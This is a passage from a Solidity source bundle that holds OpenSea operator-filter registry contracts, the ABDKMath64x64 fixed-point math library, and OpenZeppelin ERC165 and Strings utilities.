(!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
